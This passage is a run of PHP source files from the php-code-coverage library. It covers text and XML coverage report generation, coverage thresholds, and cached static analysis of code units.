$this->coverageColor($classInfo['pathsCovered'], $classInfo['pathsCount']); $branchesColor = $this->coverageColor($classInfo['branchesCovered'], $classInfo['branchesCount']); $linesColor = $this->coverageColor($classInfo['statementsCovered'], $classInfo['statementCount']); $resetColor = $colors['reset']; } $output .= PHP_EOL . $fullQualifiedPath . PHP_EOL . ' ' . $methodColor . 'Methods: ' . $this->printCoverageCounts($classInfo['methodsCovered'], $classInfo['methodCount'], 2) . $resetColor . ' '; if ($hasBranchCoverage) { $output .= ' ' . $pathsColor . 'Paths: ' . $this->printCoverageCounts($classInfo['pathsCovered'], $classInfo['pathsCount'], 3) . $resetColor . ' ' . ' ' . $branchesColor . 'Branches: ' . $this->printCoverageCounts($classInfo['branchesCovered'], $classInfo['branchesCount'], 3) . $resetColor . ' '; } $output .= ' ' . $linesColor . 'Lines: ' . $this->printCoverageCounts($classInfo['statementsCovered'], $classInfo['statementCount'], 3) . $resetColor; } } return $output . PHP_EOL; } private function coverageColor(int $numberOfCoveredElements, int $totalNumberOfElements): string { $coverage = Percentage::fromFractionAndTotal( $numberOfCoveredElements, $totalNumberOfElements, ); if ($coverage->asFloat() >= $this->thresholds->highLowerBound()) { return self::COLOR_GREEN; } if ($coverage->asFloat() > $this->thresholds->lowUpperBound()) { return self::COLOR_YELLOW; } return self::COLOR_RED; } private function printCoverageCounts(int $numberOfCoveredElements, int $totalNumberOfElements, int $precision): string { $format = '%' . $precision . 's'; return Percentage::fromFractionAndTotal( $numberOfCoveredElements, $totalNumberOfElements, )->asFixedWidthString() . ' (' . sprintf($format, $numberOfCoveredElements) . '/' . sprintf($format, $totalNumberOfElements) . ')'; } private function format(string $color, int $padding, false|string $string): string { if ($color === '') { return (string) $string . PHP_EOL; } return $color . str_pad((string) $string, $padding) . self::COLOR_RESET . PHP_EOL; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use SebastianBergmann\CodeCoverage\InvalidArgumentException; /** * @psalm-immutable */ final class Thresholds { private readonly int $lowUpperBound; private readonly int $highLowerBound; public static function default(): self { return new self(50, 90); } /** * @throws InvalidArgumentException */ public static function from(int $lowUpperBound, int $highLowerBound): self { if ($lowUpperBound > $highLowerBound) { throw new InvalidArgumentException( '$lowUpperBound must not be larger than $highLowerBound', ); } return new self($lowUpperBound, $highLowerBound); } private function __construct(int $lowUpperBound, int $highLowerBound) { $this->lowUpperBound = $lowUpperBound; $this->highLowerBound = $highLowerBound; } public function lowUpperBound(): int { return $this->lowUpperBound; } public function highLowerBound(): int { return $this->highLowerBound; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function phpversion; use DateTimeImmutable; use DOMElement; use SebastianBergmann\Environment\Runtime; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class BuildInformation { private readonly DOMElement $contextNode; public function __construct(DOMElement $contextNode) { $this->contextNode = $contextNode; } public function setRuntimeInformation(Runtime $runtime): void { $runtimeNode = $this->nodeByName('runtime'); $runtimeNode->setAttribute('name', $runtime->getName()); $runtimeNode->setAttribute('version', $runtime->getVersion()); $runtimeNode->setAttribute('url', $runtime->getVendorUrl()); $driverNode = $this->nodeByName('driver'); if ($runtime->hasXdebug()) { $driverNode->setAttribute('name', 'xdebug'); $driverNode->setAttribute('version', phpversion('xdebug')); } if ($runtime->hasPCOV()) { $driverNode->setAttribute('name', 'pcov'); $driverNode->setAttribute('version', phpversion('pcov')); } } public function setBuildTime(DateTimeImmutable $date): void { $this->contextNode->setAttribute('time', $date->format('D M j G:i:s T Y')); } public function setGeneratorVersions(string $phpUnitVersion, string $coverageVersion): void { $this->contextNode->setAttribute('phpunit', $phpUnitVersion); $this->contextNode->setAttribute('coverage', $coverageVersion); } private function nodeByName(string $name): DOMElement { $node = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', $name, )->item(0); if (!$node) { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', $name, ), ); } return $node; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; use SebastianBergmann\CodeCoverage\ReportAlreadyFinalizedException; use XMLWriter; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Coverage { private readonly XMLWriter $writer; private readonly DOMElement $contextNode; private bool $finalized = false; public function __construct(DOMElement $context, string $line) { $this->contextNode = $context; $this->writer = new XMLWriter; $this->writer->openMemory(); $this->writer->startElementNS(null, $context->nodeName, 'https://schema.phpunit.de/coverage/1.0'); $this->writer->writeAttribute('nr', $line); } /** * @throws ReportAlreadyFinalizedException */ public function addTest(string $test): void { if ($this->finalized) { throw new ReportAlreadyFinalizedException; } $this->writer->startElement('covered'); $this->writer->writeAttribute('by', $test); $this->writer->endElement(); } public function finalize(): void { $this->writer->endElement(); $fragment = $this->contextNode->ownerDocument->createDocumentFragment(); $fragment->appendXML($this->writer->outputMemory()); $this->contextNode->parentNode->replaceChild( $fragment, $this->contextNode, ); $this->finalized = true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Directory extends Node { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use const DIRECTORY_SEPARATOR; use const PHP_EOL; use function count; use function dirname; use function file_get_contents; use function file_put_contents; use function is_array; use function is_dir; use function is_file; use function is_writable; use function libxml_clear_errors; use function libxml_get_errors; use function libxml_use_internal_errors; use function sprintf; use function strlen; use function substr; use DateTimeImmutable; use DOMDocument; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\PathExistsButIsNotDirectoryException; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Node\AbstractNode; use SebastianBergmann\CodeCoverage\Node\Directory as DirectoryNode; use SebastianBergmann\CodeCoverage\Node\File as FileNode; use SebastianBergmann\CodeCoverage\Util\Filesystem as DirectoryUtil; use SebastianBergmann\CodeCoverage\Version; use SebastianBergmann\CodeCoverage\XmlException; use SebastianBergmann\Environment\Runtime; final class Facade { private string $target; private Project $project; private readonly string $phpUnitVersion; public function __construct(string $version) { $this->phpUnitVersion = $version; } /** * @throws XmlException */ public function process(CodeCoverage $coverage, string $target): void { if (substr($target, -1, 1) !== DIRECTORY_SEPARATOR) { $target .= DIRECTORY_SEPARATOR; } $this->target = $target; $this->initTargetDirectory($target); $report = $coverage->getReport(); $this->project = new Project( $coverage->getReport()->name(), ); $this->setBuildInformation(); $this->processTests($coverage->getTests()); $this->processDirectory($report, $this->project); $this->saveDocument($this->project->asDom(), 'index'); } private function setBuildInformation(): void { $buildNode = $this->project->buildInformation(); $buildNode->setRuntimeInformation(new Runtime); $buildNode->setBuildTime(new DateTimeImmutable); $buildNode->setGeneratorVersions($this->phpUnitVersion, Version::id()); } /** * @throws PathExistsButIsNotDirectoryException * @throws WriteOperationFailedException */ private function initTargetDirectory(string $directory): void { if (is_file($directory)) { if (!is_dir($directory)) { throw new PathExistsButIsNotDirectoryException($directory); } if (!is_writable($directory)) { throw new WriteOperationFailedException($directory); } } DirectoryUtil::createDirectory($directory); } /** * @throws XmlException */ private function processDirectory(DirectoryNode $directory, Node $context): void { $directoryName = $directory->name(); if ($this->project->projectSourceDirectory() === $directoryName) { $directoryName = '/'; } $directoryObject = $context->addDirectory($directoryName); $this->setTotals($directory, $directoryObject->totals()); foreach ($directory->directories() as $node) { $this->processDirectory($node, $directoryObject); } foreach ($directory->files() as $node) { $this->processFile($node, $directoryObject); } } /** * @throws XmlException */ private function processFile(FileNode $file, Directory $context): void { $fileObject = $context->addFile( $file->name(), $file->id() . '.xml', ); $this->setTotals($file, $fileObject->totals()); $path = substr( $file->pathAsString(), strlen($this->project->projectSourceDirectory()), ); $fileReport = new Report($path); $this->setTotals($file, $fileReport->totals()); foreach ($file->classesAndTraits() as $unit) { $this->processUnit($unit, $fileReport); } foreach ($file->functions() as $function) { $this->processFunction($function, $fileReport); } foreach ($file->lineCoverageData() as $line => $tests) { if (!is_array($tests) || count($tests) === 0) { continue; } $coverage = $fileReport->lineCoverage((string) $line); foreach ($tests as $test) { $coverage->addTest($test); } $coverage->finalize(); } $fileReport->source()->setSourceCode( file_get_contents($file->pathAsString()), ); $this->saveDocument($fileReport->asDom(), $file->id()); } private function processUnit(array $unit, Report $report): void { if (isset($unit['className'])) { $unitObject = $report->classObject($unit['className']); } else { $unitObject = $report->traitObject($unit['traitName']); } $unitObject->setLines( $unit['startLine'], $unit['executableLines'], $unit['executedLines'], ); $unitObject->setCrap((float) $unit['crap']); $unitObject->setNamespace($unit['namespace']); foreach ($unit['methods'] as $method) { $methodObject = $unitObject->addMethod($method['methodName']); $methodObject->setSignature($method['signature']); $methodObject->setLines((string) $method['startLine'], (string) $method['endLine']); $methodObject->setCrap($method['crap']); $methodObject->setTotals( (string) $method['executableLines'], (string) $method['executedLines'], (string) $method['coverage'], ); } } private function processFunction(array $function, Report $report): void { $functionObject = $report->functionObject($function['functionName']); $functionObject->setSignature($function['signature']); $functionObject->setLines((string) $function['startLine']); $functionObject->setCrap($function['crap']); $functionObject->setTotals((string) $function['executableLines'], (string) $function['executedLines'], (string) $function['coverage']); } private function processTests(array $tests): void { $testsObject = $this->project->tests(); foreach ($tests as $test => $result) { $testsObject->addTest($test, $result); } } private function setTotals(AbstractNode $node, Totals $totals): void { $loc = $node->linesOfCode(); $totals->setNumLines( $loc['linesOfCode'], $loc['commentLinesOfCode'], $loc['nonCommentLinesOfCode'], $node->numberOfExecutableLines(), $node->numberOfExecutedLines(), ); $totals->setNumClasses( $node->numberOfClasses(), $node->numberOfTestedClasses(), ); $totals->setNumTraits( $node->numberOfTraits(), $node->numberOfTestedTraits(), ); $totals->setNumMethods( $node->numberOfMethods(), $node->numberOfTestedMethods(), ); $totals->setNumFunctions( $node->numberOfFunctions(), $node->numberOfTestedFunctions(), ); } private function targetDirectory(): string { return $this->target; } /** * @throws XmlException */ private function saveDocument(DOMDocument $document, string $name): void { $filename = sprintf('%s/%s.xml', $this->targetDirectory(), $name); $document->formatOutput = true; $document->preserveWhiteSpace = false; $this->initTargetDirectory(dirname($filename)); file_put_contents($filename, $this->documentAsString($document)); } /** * @throws XmlException * * @see https://bugs.php.net/bug.php?id=79191 */ private function documentAsString(DOMDocument $document): string { $xmlErrorHandling = libxml_use_internal_errors(true); $xml = $document->saveXML(); if ($xml === false) { $message = 'Unable to generate the XML'; foreach (libxml_get_errors() as $error) { $message .= PHP_EOL . $error->message; } throw new XmlException($message); } libxml_clear_errors(); libxml_use_internal_errors($xmlErrorHandling); return $xml; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ class File { private readonly DOMDocument $dom; private readonly DOMElement $contextNode; public function __construct(DOMElement $context) { $this->dom = $context->ownerDocument; $this->contextNode = $context; } public function totals(): Totals { $totalsContainer = $this->contextNode->firstChild; if (!$totalsContainer) { $totalsContainer = $this->contextNode->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'totals', ), ); } return new Totals($totalsContainer); } public function lineCoverage(string $line): Coverage { $coverage = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'coverage', )->item(0); if (!$coverage) { $coverage = $this->contextNode->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'coverage', ), ); } $lineNode = $coverage->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'line', ), ); return new Coverage($lineNode, $line); } protected function contextNode(): DOMElement { return $this->contextNode; } protected function dom(): DOMDocument { return $this->dom; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Method { private readonly DOMElement $contextNode; public function __construct(DOMElement $context, string $name) { $this->contextNode = $context; $this->setName($name); } public function setSignature(string $signature): void { $this->contextNode->setAttribute('signature', $signature); } public function setLines(string $start, ?string $end = null): void { $this->contextNode->setAttribute('start', $start); if ($end !== null) { $this->contextNode->setAttribute('end', $end); } } public function setTotals(string $executable, string $executed, string $coverage): void { $this->contextNode->setAttribute('executable', $executable); $this->contextNode->setAttribute('executed', $executed); $this->contextNode->setAttribute('coverage', $coverage); } public function setCrap(string $crap): void { $this->contextNode->setAttribute('crap', $crap); } private function setName(string $name): void { $this->contextNode->setAttribute('name', $name); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ abstract class Node { private DOMDocument $dom; private DOMElement $contextNode; public function __construct(DOMElement $context) { $this->setContextNode($context); } public function dom(): DOMDocument { return $this->dom; } public function totals(): Totals { $totalsContainer = $this->contextNode()->firstChild; if (!$totalsContainer) { $totalsContainer = $this->contextNode()->appendChild( $this->dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'totals', ), ); } return new Totals($totalsContainer); } public function addDirectory(string $name): Directory { $dirNode = $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'directory', ); $dirNode->setAttribute('name', $name); $this->contextNode()->appendChild($dirNode); return new Directory($dirNode); } public function addFile(string $name, string $href): File { $fileNode = $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'file', ); $fileNode->setAttribute('name', $name); $fileNode->setAttribute('href', $href); $this->contextNode()->appendChild($fileNode); return new File($fileNode); } protected function setContextNode(DOMElement $context): void { $this->dom = $context->ownerDocument; $this->contextNode = $context; } protected function contextNode(): DOMElement { return $this->contextNode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Project extends Node { public function __construct(string $directory) { $this->init(); $this->setProjectSourceDirectory($directory); } public function projectSourceDirectory(): string { return $this->contextNode()->getAttribute('source'); } public function buildInformation(): BuildInformation { $buildNode = $this->dom()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'build', )->item(0); if (!$buildNode) { $buildNode = $this->dom()->documentElement->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'build', ), ); } return new BuildInformation($buildNode); } public function tests(): Tests { $testsNode = $this->contextNode()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'tests', )->item(0); if (!$testsNode) { $testsNode = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'tests', ), ); } return new Tests($testsNode); } public function asDom(): DOMDocument { return $this->dom(); } private function init(): void { $dom = new DOMDocument; $dom->loadXML(''); $this->setContextNode( $dom->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'project', )->item(0), ); } private function setProjectSourceDirectory(string $name): void { $this->contextNode()->setAttribute('source', $name); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function basename; use function dirname; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Report extends File { public function __construct(string $name) { $dom = new DOMDocument; $dom->loadXML(''); $contextNode = $dom->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'file', )->item(0); parent::__construct($contextNode); $this->setName($name); } public function asDom(): DOMDocument { return $this->dom(); } public function functionObject($name): Method { $node = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'function', ), ); return new Method($node, $name); } public function classObject($name): Unit { return $this->unitObject('class', $name); } public function traitObject($name): Unit { return $this->unitObject('trait', $name); } public function source(): Source { $source = $this->contextNode()->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'source', )->item(0); if (!$source) { $source = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'source', ), ); } return new Source($source); } private function setName(string $name): void { $this->contextNode()->setAttribute('name', basename($name)); $this->contextNode()->setAttribute('path', dirname($name)); } private function unitObject(string $tagName, $name): Unit { $node = $this->contextNode()->appendChild( $this->dom()->createElementNS( 'https://schema.phpunit.de/coverage/1.0', $tagName, ), ); return new Unit($node, $name); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; use TheSeer\Tokenizer\NamespaceUri; use TheSeer\Tokenizer\Tokenizer; use TheSeer\Tokenizer\XMLSerializer; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Source { private readonly DOMElement $context; public function __construct(DOMElement $context) { $this->context = $context; } public function setSourceCode(string $source): void { $context = $this->context; $tokens = (new Tokenizer)->parse($source); $srcDom = (new XMLSerializer(new NamespaceUri($context->namespaceURI)))->toDom($tokens); $context->parentNode->replaceChild( $context->ownerDocument->importNode($srcDom->documentElement, true), $context, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-import-type TestType from \SebastianBergmann\CodeCoverage\CodeCoverage */ final class Tests { private readonly DOMElement $contextNode; public function __construct(DOMElement $context) { $this->contextNode = $context; } /** * @param TestType $result */ public function addTest(string $test, array $result): void { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'test', ), ); $node->setAttribute('name', $test); $node->setAttribute('size', $result['size']); $node->setAttribute('status', $result['status']); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use function sprintf; use DOMElement; use DOMNode; use SebastianBergmann\CodeCoverage\Util\Percentage; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Totals { private readonly DOMNode $container; private readonly DOMElement $linesNode; private readonly DOMElement $methodsNode; private readonly DOMElement $functionsNode; private readonly DOMElement $classesNode; private readonly DOMElement $traitsNode; public function __construct(DOMElement $container) { $this->container = $container; $dom = $container->ownerDocument; $this->linesNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'lines', ); $this->methodsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'methods', ); $this->functionsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'functions', ); $this->classesNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'classes', ); $this->traitsNode = $dom->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'traits', ); $container->appendChild($this->linesNode); $container->appendChild($this->methodsNode); $container->appendChild($this->functionsNode); $container->appendChild($this->classesNode); $container->appendChild($this->traitsNode); } public function container(): DOMNode { return $this->container; } public function setNumLines(int $loc, int $cloc, int $ncloc, int $executable, int $executed): void { $this->linesNode->setAttribute('total', (string) $loc); $this->linesNode->setAttribute('comments', (string) $cloc); $this->linesNode->setAttribute('code', (string) $ncloc); $this->linesNode->setAttribute('executable', (string) $executable); $this->linesNode->setAttribute('executed', (string) $executed); $this->linesNode->setAttribute( 'percent', $executable === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($executed, $executable)->asFloat()), ); } public function setNumClasses(int $count, int $tested): void { $this->classesNode->setAttribute('count', (string) $count); $this->classesNode->setAttribute('tested', (string) $tested); $this->classesNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()), ); } public function setNumTraits(int $count, int $tested): void { $this->traitsNode->setAttribute('count', (string) $count); $this->traitsNode->setAttribute('tested', (string) $tested); $this->traitsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()), ); } public function setNumMethods(int $count, int $tested): void { $this->methodsNode->setAttribute('count', (string) $count); $this->methodsNode->setAttribute('tested', (string) $tested); $this->methodsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()), ); } public function setNumFunctions(int $count, int $tested): void { $this->functionsNode->setAttribute('count', (string) $count); $this->functionsNode->setAttribute('tested', (string) $tested); $this->functionsNode->setAttribute( 'percent', $count === 0 ? '0' : sprintf('%01.2F', Percentage::fromFractionAndTotal($tested, $count)->asFloat()), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report\Xml; use DOMElement; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class Unit { private readonly DOMElement $contextNode; public function __construct(DOMElement $context, string $name) { $this->contextNode = $context; $this->setName($name); } public function setLines(int $start, int $executable, int $executed): void { $this->contextNode->setAttribute('start', (string) $start); $this->contextNode->setAttribute('executable', (string) $executable); $this->contextNode->setAttribute('executed', (string) $executed); } public function setCrap(float $crap): void { $this->contextNode->setAttribute('crap', (string) $crap); } public function setNamespace(string $namespace): void { $node = $this->contextNode->getElementsByTagNameNS( 'https://schema.phpunit.de/coverage/1.0', 'namespace', )->item(0); if (!$node) { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'namespace', ), ); } $node->setAttribute('name', $namespace); } public function addMethod(string $name): Method { $node = $this->contextNode->appendChild( $this->contextNode->ownerDocument->createElementNS( 'https://schema.phpunit.de/coverage/1.0', 'method', ), ); return new Method($node, $name); } private function setName(string $name): void { $this->contextNode->setAttribute('name', $name); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use SebastianBergmann\CodeCoverage\Filter; final class CacheWarmer { public function warmCache(string $cacheDirectory, bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode, Filter $filter): void { $analyser = new CachingFileAnalyser( $cacheDirectory, new ParsingFileAnalyser( $useAnnotationsForIgnoringCode, $ignoreDeprecatedCode, ), $useAnnotationsForIgnoringCode, $ignoreDeprecatedCode, ); foreach ($filter->files() as $file) { $analyser->process($file); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function file_get_contents; use function file_put_contents; use function implode; use function is_file; use function md5; use function serialize; use function unserialize; use SebastianBergmann\CodeCoverage\Util\Filesystem; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-import-type LinesOfCodeType from \SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser */ final class CachingFileAnalyser implements FileAnalyser { private static ?string $cacheVersion = null; private readonly string $directory; private readonly FileAnalyser $analyser; private readonly bool $useAnnotationsForIgnoringCode; private readonly bool $ignoreDeprecatedCode; private array $cache = []; public function __construct(string $directory, FileAnalyser $analyser, bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode) { Filesystem::createDirectory($directory); $this->analyser = $analyser; $this->directory = $directory; $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; $this->ignoreDeprecatedCode = $ignoreDeprecatedCode; } public function classesIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['classesIn']; } public function traitsIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['traitsIn']; } public function functionsIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['functionsIn']; } /** * @psalm-return LinesOfCodeType */ public function linesOfCodeFor(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['linesOfCodeFor']; } public function executableLinesIn(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['executableLinesIn']; } public function ignoredLinesFor(string $filename): array { if (!isset($this->cache[$filename])) { $this->process($filename); } return $this->cache[$filename]['ignoredLinesFor']; } public function process(string $filename): void { $cache = $this->read($filename); if ($cache !== false) { $this->cache[$filename] = $cache; return; } $this->cache[$filename] = [ 'classesIn' => $this->analyser->classesIn($filename), 'traitsIn' => $this->analyser->traitsIn($filename), 'functionsIn' => $this->analyser->functionsIn($filename), 'linesOfCodeFor' => $this->analyser->linesOfCodeFor($filename), 'ignoredLinesFor' => $this->analyser->ignoredLinesFor($filename), 'executableLinesIn' => $this->analyser->executableLinesIn($filename), ]; $this->write($filename, $this->cache[$filename]); } private function read(string $filename): array|false { $cacheFile = $this->cacheFile($filename); if (!is_file($cacheFile)) { return false; } return unserialize( file_get_contents($cacheFile), ['allowed_classes' => false], ); } private function write(string $filename, array $data): void { file_put_contents( $this->cacheFile($filename), serialize($data), ); } private function cacheFile(string $filename): string { $cacheKey = md5( implode( "\0", [ $filename, file_get_contents($filename), self::cacheVersion(), $this->useAnnotationsForIgnoringCode, $this->ignoreDeprecatedCode, ], ), ); return $this->directory . DIRECTORY_SEPARATOR . $cacheKey; } private static function cacheVersion(): string { if (self::$cacheVersion !== null) { return self::$cacheVersion; } $buffer = []; foreach ((new FileIteratorFacade)->getFilesAsArray(__DIR__, '.php') as $file) { $buffer[] = $file; $buffer[] = file_get_contents($file); } self::$cacheVersion = md5(implode("\0", $buffer)); return self::$cacheVersion; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function assert; use function implode; use function rtrim; use function trim; use PhpParser\Node; use PhpParser\Node\ComplexType; use PhpParser\Node\Identifier; use PhpParser\Node\IntersectionType; use PhpParser\Node\Name; use PhpParser\Node\NullableType; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Enum_; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Interface_; use PhpParser\Node\Stmt\Trait_; use PhpParser\Node\UnionType; use PhpParser\NodeTraverser; use PhpParser\NodeVisitorAbstract; use SebastianBergmann\Complexity\CyclomaticComplexityCalculatingVisitor; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage * * @psalm-type CodeUnitFunctionType = array{ * name: string, * namespacedName: string, * namespace: string, * signature: string, * startLine: int, * endLine: int, * ccn: int * } * @psalm-type CodeUnitMethodType = array{ * methodName: string, * signature: string, * visibility: string, * startLine: int, * endLine: int, * ccn: int * } * @psalm-type CodeUnitClassType = array{ * name: string, * namespacedName: string, * namespace: string, * startLine: int, * endLine: int, * methods: array * } * @psalm-type CodeUnitTraitType = array{ * name: string, * namespacedName: string, * namespace: string, * startLine: int, * endLine: int, * methods: array * } */ final class CodeUnitFindingVisitor extends NodeVisitorAbstract { /** * @psalm-var array */ private array $classes = []; /** * @psalm-var array */ private array $traits = []; /** * @psalm-var array */ private array $functions = []; public function enterNode(Node $node): void { if ($node instanceof Class_) { if ($node->isAnonymous()) { return; } $this->processClass($node); } if ($node instanceof Trait_) { $this->processTrait($node); } if (!$node instanceof ClassMethod && !$node instanceof Function_) { return; } if ($node instanceof ClassMethod) { $parentNode = $node->getAttribute('parent'); if ($parentNode instanceof Class_ && $parentNode->isAnonymous()) { return; } $this->processMethod($node); return; } $this->processFunction($node); } /** * @psalm-return array */ public function classes(): array { return $this->classes; } /** * @psalm-return array */ public function traits(): array { return $this->traits; } /** * @psalm-return array */ public function functions(): array { return $this->functions; } private function cyclomaticComplexity(ClassMethod|Function_ $node): int { $nodes = $node->getStmts(); if ($nodes === null) { return 0; } $traverser = new NodeTraverser; $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); return $cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); } private function signature(ClassMethod|Function_ $node): string { $signature = ($node->returnsByRef() ? '&' : '') . $node->name->toString() . '('; $parameters = []; foreach ($node->getParams() as $parameter) { assert(isset($parameter->var->name)); $parameterAsString = ''; if ($parameter->type !== null) { $parameterAsString = $this->type($parameter->type) . ' '; } $parameterAsString .= '$' . $parameter->var->name; /* @todo Handle default values */ $parameters[] = $parameterAsString; } $signature .= implode(', ', $parameters) . ')'; $returnType = $node->getReturnType(); if ($returnType !== null) { $signature .= ': ' . $this->type($returnType); } return $signature; } private function type(ComplexType|Identifier|Name $type): string { if ($type instanceof NullableType) { return '?' . $type->type; } if ($type instanceof UnionType) { return $this->unionTypeAsString($type); } if ($type instanceof IntersectionType) { return $this->intersectionTypeAsString($type); } return $type->toString(); } private function visibility(ClassMethod $node): string { if ($node->isPrivate()) { return 'private'; } if ($node->isProtected()) { return 'protected'; } return 'public'; } private function processClass(Class_ $node): void { $name = $node->name->toString(); $namespacedName = $node->namespacedName->toString(); $this->classes[$namespacedName] = [ 'name' => $name, 'namespacedName' => $namespacedName, 'namespace' => $this->namespace($namespacedName, $name), 'startLine' => $node->getStartLine(), 'endLine' => $node->getEndLine(), 'methods' => [], ]; } private function processTrait(Trait_ $node): void { $name = $node->name->toString(); 